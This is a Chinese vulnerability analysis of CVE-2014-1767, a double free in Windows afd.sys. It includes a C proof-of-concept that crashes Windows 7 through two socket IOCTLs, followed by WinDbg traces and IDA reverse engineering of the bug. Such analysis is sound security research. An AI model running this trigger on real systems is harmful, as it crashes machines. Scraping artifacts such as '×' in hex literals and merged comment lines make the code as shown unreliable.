CVE-2014-1767

[0x00].簡介 

CVE-2014-1767漏洞是因爲Windows的afd.sys驅動在對系統內存的管理操做中,存在着懸垂指針的問題。在特定狀況下攻擊者能夠經過該懸垂指針形成內存的double free漏洞。windows

測試環境:數組

  推薦環境 備註
虛擬機環境 Win 7 32位
編譯器 VC6.0  
調試器 Windbg  
反編譯器 IDA pro  

 [0x01].漏洞分析

 首先在VC6上編譯如下用於觸發漏洞的poc代碼,而後在虛擬機中運行生成的poc.exe.同時掛載內核調試器進行分析網絡

#include <windows.h>
#include <stdio.h>
#pragma comment(lib, 「WS2_32.lib」)
 
int main()
{
    DWORD targetSize = 0×310 ;
    DWORD virtualAddress = 0×13371337 ;
    DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ;
    static DWORD inbuf1[100] ;
    memset(inbuf1, 0, sizeof(inbuf1)) ;
    inbuf1[6]  = virtualAddress ;
    inbuf1[7]  = mdlSize ;
    inbuf1[10] = 1 ;
    static DWORD inbuf2[100] ;
    memset(inbuf2, 0, sizeof(inbuf2)) ;
    inbuf2[0] = 1 ;
    inbuf2[1] = 0x0AAAAAAA ;
    WSADATA      WSAData ;
    SOCKET       s ;
    sockaddr_in  sa ;
    int          ierr ;
    WSAStartup(0×2, &WSAData) ;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
    memset(&sa, 0, sizeof(sa)) ;
    sa.sin_port = htons(135) ;   
    sa.sin_addr.S_un.S_addr = inet_addr(「127.0.0.1″) ;
    sa.sin_family = AF_INET ; 
    ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;
    static char outBuf[100] ;
    DWORD bytesRet ;
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL);
    return 0 ;
}

POC主要作了這麼兩件事:數據結構

1. 初始化了一個本地socket鏈接。

2. 給這個socket發送了兩個控制碼:0x1207F和0x120C3。

運行後系統崩潰,在Windbg調試器斷下socket

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 0000109b, (reserved)
Arg3: 08bd0004, Memory contents of the pool block
Arg4: 87686218, Address of the block of pool being deallocated

Debugging Details:
------------------


POOL_ADDRESS:  87686218 Nonpaged pool

FREED_POOL_TAG:  Mdl 

BUGCHECK_STR:  0xc2_7_Mdl 

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

PROCESS_NAME:  poc.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 83f1a08f to 83eb6110

STACK_TEXT:  
a899154c 83f1a08f 00000003 ef6507c2 00000065 nt!RtlpBreakWithStatusInstruction
a899159c 83f1ab8d 00000003 87686210 000001ff nt!KiBugCheckDebugBreak+0x1c
a8991960 83f5bc6b 000000c2 00000007 0000109b nt!KeBugCheck2+0x68b
a89919d8 83ec7eb2 87686218 00000000 87677c48 nt!ExFreePoolWithTag+0x1b1
a89919ec 9085ceb0 87686218 00000000 9083f89f nt!IoFreeMdl+0x70
a8991a08 9083f8ac 00000000 00000001 381a49ac afd!AfdReturnTpInfo+0xad
a8991a44 90840bba 381a4904 000120c3 90840a8c afd!AfdTliGetTpInfo+0x89
a8991aec 908452bc 87678c90 869b2848 a8991b14 afd!AfdTransmitPackets+0x12e
a8991afc 83e72593 869b2848 86c63160 86c63160 afd!AfdDispatchDeviceControl+0x3b
a8991b14 8406598f 87678c90 86c63160 86c6323c nt!IofCallDriver+0x63
a8991b34 84068b61 869b2848 87678c90 00000000 nt!IopSynchronousServiceTail+0x1f8
a8991bd0 840af3fc 869b2848 86c63160 00000000 nt!IopXxxControlFile+0x6aa
a8991c04 83e791ea 00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a8991c04 777c70b4 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a
0012fc8c 777c5864 75b6989d 00000050 00000000 ntdll!KiFastSystemCallRet
0012fc90 75b6989d 00000050 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
0012fcf0 771aa671 00000050 000120c3 00427c50 KERNELBASE!DeviceIoControl+0xf6
0012fd1c 00401186 00000050 000120c3 00427c50 kernel32!DeviceIoControlImplementation+0x80
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff48 004013b9 00000001 006e0de8 006e0e40 poc+0x1186
0012ff88 771b3c45 7ffd4000 0012ffd4 777e37f5 poc+0x13b9
0012ff94 777e37f5 7ffd4000 7795f253 00000000 kernel32!BaseThreadInitThunk+0xe
0012ffd4 777e37c8 004012d0 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
0012ffec 00000000 004012d0 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

FOLLOWUP_IP: 
afd!AfdReturnTpInfo+ad
9085ceb0 ff45fc          inc     dword ptr [ebp-4]

目前,咱們能夠知道:ide

出問題的是afd.sys模塊,漏洞的類型爲double free,free 的對象是Mdl,而且發生崩潰時存在這樣的調用關係:

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl

根據上面加粗的提示能夠知道,因爲此處重複釋放一塊已經釋放的內存,致使雙重釋放(double free)才引起崩潰。在poc中,程序兩次調用DeviceIoControl,分別向IO控制碼0x1207F0x120C3發送數據,所以咱們直接從這兩個IO控制碼的分發函數入手。函數

要找到這個對應關係,有這樣的調試技巧:用戶層的IoControl消息到都會被內核包裝成IRP包,發送給對應驅動的IRP_MJ_DEVICE_CONTROL例程來處理,IRP_MJ_DEVICE_CONTROL例程會根據控制碼來選擇對應的函數。測試

Windbg爲咱們提供了這樣的功能:this

kd> !drvobj AFD 2
Driver object (869b23c8) is for:
 \Driver\AFD
DriverEntry:   9086863d	afd!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  9083d5b6	afd!AfdUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      90847190	afd!AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           90847190	afd!AfdDispatch
[02] IRP_MJ_CLOSE                       90847190	afd!AfdDispatch
[03] IRP_MJ_READ                        90847190	afd!AfdDispatch
[04] IRP_MJ_WRITE                       90847190	afd!AfdDispatch
[05] IRP_MJ_QUERY_INFORMATION           90847190	afd!AfdDispatch
[06] IRP_MJ_SET_INFORMATION             90847190	afd!AfdDispatch
[07] IRP_MJ_QUERY_EA                    90847190	afd!AfdDispatch
[08] IRP_MJ_SET_EA                      90847190	afd!AfdDispatch
[09] IRP_MJ_FLUSH_BUFFERS               90847190	afd!AfdDispatch
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    90847190	afd!AfdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION      90847190	afd!AfdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL           90847190	afd!AfdDispatch
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         90847190	afd!AfdDispatch
[0e] IRP_MJ_DEVICE_CONTROL              90845281	afd!AfdDispatchDeviceControl
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     90825831	afd!AfdWskDispatchInternalDeviceControl

 這樣就能夠獲得afd.sys對應的IRP_MJ_DEVICE_CONTROL例程爲afd!AfdDispatchDeviceControl,利用IDA對該函數簡單分析後,其大體流程以下:spa

PAGEAFD:000314C9 ; int __stdcall AfdDispatchDeviceControl(int, PIRP Irp)
PAGEAFD:000314C9 _AfdDispatchDeviceControl@8 proc near   ; CODE XREF: AfdDispatch(x,x)+3C↓p
PAGEAFD:000314C9                                         ; DATA XREF: DriverEntry(x,x)+2FA↓o
PAGEAFD:000314C9
PAGEAFD:000314C9 Irp             = dword ptr  0Ch
PAGEAFD:000314C9
PAGEAFD:000314C9                 mov     edi, edi
PAGEAFD:000314CB                 push    ebp
PAGEAFD:000314CC                 mov     ebp, esp
PAGEAFD:000314CE                 mov     ecx, [ebp+Irp]  ; Irp
PAGEAFD:000314D1                 mov     edx, [ecx+60h]  ; edx = IrpStackLocation
PAGEAFD:000314D4                 push    esi
PAGEAFD:000314D5                 push    edi
PAGEAFD:000314D6                 mov     edi, [edx+0Ch]  ; edi = DeviceIoControl的控制碼
PAGEAFD:000314D9                 mov     eax, edi
PAGEAFD:000314DB                 shr     eax, 2          ; IoControl>>2
PAGEAFD:000314DE                 and     eax, 3FFh       ; 將控制碼的高位都清零,這樣就只剩下IoControl的功能號了
PAGEAFD:000314E3                 cmp     eax, 46h
PAGEAFD:000314E6                 jnb     short loc_31506
PAGEAFD:000314E8                 mov     esi, eax
PAGEAFD:000314EA                 shl     esi, 2
PAGEAFD:000314ED                 cmp     ds:_AfdIoctlTable[esi], edi
PAGEAFD:000314F3                 jnz     short loc_31506
PAGEAFD:000314F5                 mov     [edx+1], al
PAGEAFD:000314F8                 mov     esi, ds:_AfdIrpCallDispatch[esi]
PAGEAFD:000314FE                 test    esi, esi
PAGEAFD:00031500                 jz      short loc_31506
PAGEAFD:00031502                 call    esi             ; 調用控制碼對應的函數

1.IO控制碼0x1207F

爲了跟蹤Io控制碼0x1207F對應的處理函數,首先在Windbg中針對afd!AfdDispatchDeviceControl設置條件斷點,當其在處理io控制碼0x1207F時斷下。

kd> ba e1 afd!AfdDispatchDeviceControl+10 ".if(@edi==0x1207F){}.else{gc}"
kd> g

afd!AfdDispatchDeviceControl+0x39:
9065d2ba ffd6            call    esi
kd> t
afd!AfdTransmitFile:

能夠看到當IOCTL爲0x1207F時,afd驅動中的AfdTransmitFile函數會被調用

AfdTransmitFile函數原型爲

AfdTransmitFile(pIRP,pIoStackLocation)
pIRP各字段含義
kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char
   +0x023 CurrentLocation  : Char
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : Ptr32     void 
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : <unnamed-tag>
pIoStackLocation各字段含義
kd> dt _IO_STACK_LOCATION
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x004 Parameters       : <unnamed-tag>
   +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x018 FileObject       : Ptr32 _FILE_OBJECT
   +0x01c CompletionRoutine : Ptr32     long 
   +0x020 Context          : Ptr32 Void

//Paramaters for IRP_MJ_DEVICE_CONTROL
struct{
        ULONG OutputBufferLength;
        ULONG POINTER_ALIGNMENT InputBufferLength;
        ULONG POINTER_ALIGNMENT IoControlCode;
        PVOID Type3InputBuffer;
}DeviceIoControl;

在ida裏查看AfdTransmitFile函數

v2 = pIoStackLocation;
  v64 = pIoStackLocation;
  v3 = pIRP;
  v62 = pIRP;
  Entry = 0;
  v70 = 0;
  v69 = 0;
  v4 = *(_DWORD *)(*(_DWORD *)(pIoStackLocation + 0x18) + 0xC); //FsContext
  v63 = v4;
  if ( *(_WORD *)v4 == 0x1AFD ) //FsContext != 0x1AFD,防止跳轉
  {
    v68 = -1073741574;
    goto LABEL_97;
  }
  if ( *(_DWORD *)(v2 + 8) < 0x30u ) //InputbufferLength >= 0x30 ,防止跳轉
  {
    v68 = -1073741811;
    goto LABEL_97;
  }
  v68 = 0;
  ms_exc.registration.TryLevel = 0;
  if ( *(_BYTE *)(pIRP + 0x20) ) //RequestorMode
  {
    v5 = *(_DWORD *)(v2 + 0x10);
    if ( v5 & 3 ) //Type3InputBuffer & 3 == 0 ,防止跳轉
      ExRaiseDatatypeMisalignment();
    if ( v5 >= AfdUserProbeAddress )
      v5 = AfdUserProbeAddress;
    v6 = *(_BYTE *)v5;
  }
  qmemcpy(&v45, *(const void **)(v64 + 0x10), 0x30u);
//v54 = v45 + 0x28, Handle = v45 + 0x14, v46 = v45 + 0x4
//所以只有當 (Type3InputBuffer + 0x28) & 0xFFFFFFC8 == 0 , (Type3InputBuffer + 0x28) & 0x30 != 48 , Type3InputBuffer + 0x4 >= 0,就不會跳轉
  if ( v54 & 0xFFFFFFC8 || (v54 & 0x30) == 48 || Handle && v46 < 0 )
  {
    v68 = -1073741811;
    goto LABEL_96;
  }
  if ( !(v54 & 0x30) ) //
    v54 |= AfdDefaultTransmitWorker;
  if ( *(_DWORD *)(v4 + 8) & 0x200 )
    v7 = AfdTliGetTpInfo(3u); //從函數調用棧可知AfdTliGetTpInfo函數被調用

接着看AfdTliGetTpInfo函數

_DWORD *__fastcall AfdTliGetTpInfo(unsigned int a1)
{
  unsigned int v1; // edi
  _DWORD *tpinfo; // eax
  _DWORD *v3; // esi

  v1 = a1;
//從non-paged鏈節點裏分配內存,返回TpInfo結構指針 tpinfo = ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&AfdGlobalData[6].ContentionCount); v3 = tpinfo; if ( !tpinfo ) return 0;
//設置Tpinfo結構數據 tpinfo[2] = 0; tpinfo[3] = 0; tpinfo[4] = tpinfo + 3; tpinfo[5] = 0; tpinfo[6] = tpinfo + 5; tpinfo[13] = 0; *((_BYTE *)tpinfo + 51) = 0; tpinfo[9] = 0; tpinfo[11] = -1; tpinfo[15] = 0; tpinfo[1] = 0;
//v1 > 3,以後都稱v1爲TpInfoElementCount if ( v1 > AfdDefaultTpInfoElementCount ) {
//TpInfoElement結構大小爲0x18
//將分配後的pTpInfoElement指針存在tpinfo+0x20的位置 tpinfo[8] = ExAllocatePoolWithQuotaTag((POOL_TYPE)16, 0x18 * v1, 0xC6646641); *((_BYTE *)v3 + 50) = 1; } return v3; }

繼續回到AfdTransmitFile函數中

if ( *(_DWORD *)(v4 + 8) & 0x200 )
    v7 = AfdTliGetTpInfo(3u);
  else
    v7 = (_DWORD *)AfdTdiGetTpInfo(3);
  v8 = v7;//v8,v7都指向tpinfo結構
  Entry = v7;
  if ( !v7 )
    goto LABEL_21;
  v9 = v7 + 10;//v9 = tpinfo + 0xA
  v66 = v9;
  *v9 = 0;
  v10 = v8 + 14;
  v59 = v10;
  v11 = v48;
  *v10 = v48;
  if ( v11 )
    v69 = 1;
  else
    *v10 = AfdTransmitIoLength;//tpinfo + 0xE = AfdTransmitIoLength
  v12 = Length;
  if ( Length )
  {
//能夠看出v66爲TpInfoElementIndex,因此用來乘以TpinfoElemnet結構大小0x18
//所以v65就是指向具體的TpinfoElement數組元素 v13 = *v66; v65 = (_DWORD *)(v8[8] + 24 * *v66); v14 = v65; *v66 = v13 + 1; v15 = VirtualAddress; v14[2] = VirtualAddress;//TpinfoElemnet + 8 = VirtualAddress v14[1] = v12;//TpinfoElement + 4 = Length *v14 = 1; if ( v54 & 0x10 ) { *v14 = -2147483647; v16 = IoAllocateMdl(v15, v12, 0, 1u, 0); v14[3] = v16;//TpinfoElement + 0xc = pMDL,指向分配的Mdl if ( !v16 ) goto LABEL_21; MmProbeAndLockPages(v16, *(_BYTE *)(v3 + 32), 0);//鎖定內存 } }

根據前面的分析,咱們能夠大體繪製出Tpinfo和TpInfoElement的數據結構

在AfdTransmitFile函數調用完IoAllocateMdl分配完內存後,單步跟蹤下去,它會調用MmProAndLockPages去鎖定內存範圍0x13371000~0x13371000+0x16ecca(均是由Poc中的代碼設置的值)

該範圍屬於無效範圍,所以會觸發異常。

觸發異常後,程序會調用AfdReturnTpInfo函數,在該函數中,因爲在是否MDL資源後,未對TpInfoElement + 0xC指針作清除處理,致使其成爲「懸掛指針」。

void __stdcall AfdReturnTpInfo(PVOID Entry, char a2)
{
... ...
        v6 = *(_DWORD *)(v4 + 12);
        if ( v6 )
        {
          if ( *(_BYTE *)(v6 + 6) & 2 )
            MmUnlockPages(*(PMDL *)(v4 + 12));
          IoFreeMdl(*(PMDL *)(v4 + 0xC));
        }
... ...
}

若是此時AfdReturnTpInfo函數再被調用,那麼懸掛指針TpInfoElement + 0xC將會被IoFreeMdl函數再free一遍,最終形成「double free」雙重釋放漏洞

 2.IO控制碼0x120C3

繼續下條件斷點,追蹤Io控制碼0x120C3對應的處理函數,能夠發現它調用的是AfdTransmitPackets函數,

kd> kb
ChildEBP RetAddr  Args to Child              
a1f77a08 8a5b98ac 87feb358 00000001 2bad8e95 afd!AfdReturnTpInfo
a1f77a44 8a5babba 2bad8e3d 000120c3 8a5baa8c afd!AfdTliGetTpInfo+0x89
a1f77aec 8a5bf2bc 87d4ee10 8692c5d0 a1f77b14 afd!AfdTransmitPackets+0x12e
a1f77afc 83e55593 8692c5d0 87f31b10 87f31b10 afd!AfdDispatchDeviceControl+0x3b
afd!AfdTransmitPackets函數的兩個參數分別是pIRP和pIoStackLocation,在ida中對其進行分析
 __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
{
    IoStack->InputBufferLength >= 0×10
    IoStack->Type3InputBuffer & 3 == 0
    IoStack->Type3InputBuffer < 0x7fff0000
    memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10);
    *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
    *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30
    *(DWORD*)(tempBuf) != 0
    *(DWORD*)(tempBuf+4) != 0
    *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA
 
    // 以上條件關係所有成立則控制流達到此處,
    // 用戶輸入 能夠控制 申請的TpElement數目 !!!
    AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
}

關於AfdTliGetTpinfo函數,前面已經逆向分析過,它會調用ExAllocatePoolWithQuotaTag分配*(Type3InputBuffer + 4)個TpinfoElement所須要的內存。在poc中設置爲0x0AAAAAAA,而每一個TpInfoElement結構佔0x18字節,所以共須要申請內存0xFFFFFFF0,這麼大的內存申請在32位系統上不會成功,會觸發異常再次進入AfdReturnTpInfo函數中。

AfdReturnTpInfo函數會再次釋放Mdl結構,能夠發現它此時釋放的正是以前釋放的那個,由此形成Double Free漏洞

[0x02].總結

整個漏洞的流程以下。

POC建立了一個以socket爲基礎的本地網絡鏈接,調用DeviceIoControl向socket對象分別發送兩個控制碼0x1207F和0x120C3,這兩次控制碼分別對應afd.sys的AfdTransmitFile和AfdTransmitPackets。

IOControl=0x1207F

1. AfdTransmitFile會調用AfdTliGetTpInfo來得到一個TpInfo結構

2. 接着AfdTransmitFile根據用戶層傳遞過來的VirtualAddress=0x13371337和Length來建立一個Mdl,用來和用戶層交互,並將這個Mdl的地址保存到TpInfo結構中的TpElementArray數組中。

3. AfdTransmitFile接着調用MmProbeAndLockPages函數,準備對申請的Mdl進行操做,可是因爲無效的地址(VirtualAddress=0x13371337),程序進入到異常處理的流程中。

4. 異常處理流程會調用AfdReturnTpInfo函數,AfdReturnTpInfo函數遍歷TpInfo結構的TpElementArray數組,將Mdl釋放掉。接着其會調用ExFreeToNPagedLookasideList釋放剛建立的TpInfo。

5. 可是由於此時這個Lookaside很"閒",ExFreeToNPagedLookasideList不會將TpInfo釋放掉,而是將其掛載到Dedicated Lookaside List中去。但此時TpInfo所在pool數據還保留着,並無清空,固然也包括已經釋放掉的Mdl地址,成了一個dangling pointer,這裏就埋下了隱患。這是第一次free的地方。

第一次IoControl的操做主要就是放置一個dangling pointer到Lookaside Lists中。

第二次IoControl對這個dangling pointer進行二次釋放。

 

IOControl=0x120C3

1. 接下來AfdTransmitPackets一樣會調用AfdTliGetTpInfo建立一個TpInfo結構。AfdTliGetTpInfo會調用ExAllocateFromNPagedLookasideList。由於此時的Lookaside Lists不爲空,因此會從中卸載一個ListEntry給TpInfo使用,而此時Lookaside就只有一個上一次AfdTransmitFile函數放入的ListEntry,因此這個ListEntry正好是響應上一個控制碼所放進去的那個!

2. 接着AfdTliGetTpInfo會從用戶層輸入inbuf2[1]得到值0x0AAAAAAA,做爲TpElementCount,接下來會建立一個0x0AAAAAAA*0x18=0xFFFFFFF0大小的pool,這顯然太大了,因此會再一次的進去到異常處理的操做。

3. 異常處理會調用AfdReturnTpInfo,其會遍歷TpInfo嘗試釋放掉Mdl。由於此時的TpInfo所在的pool正是" dangling pointer",而Mdl已經被釋放過一次了,這時發生double-free。

4. 而後發生BSOD。

本站公眾號
   歡迎關注本站公眾號,獲取更多信息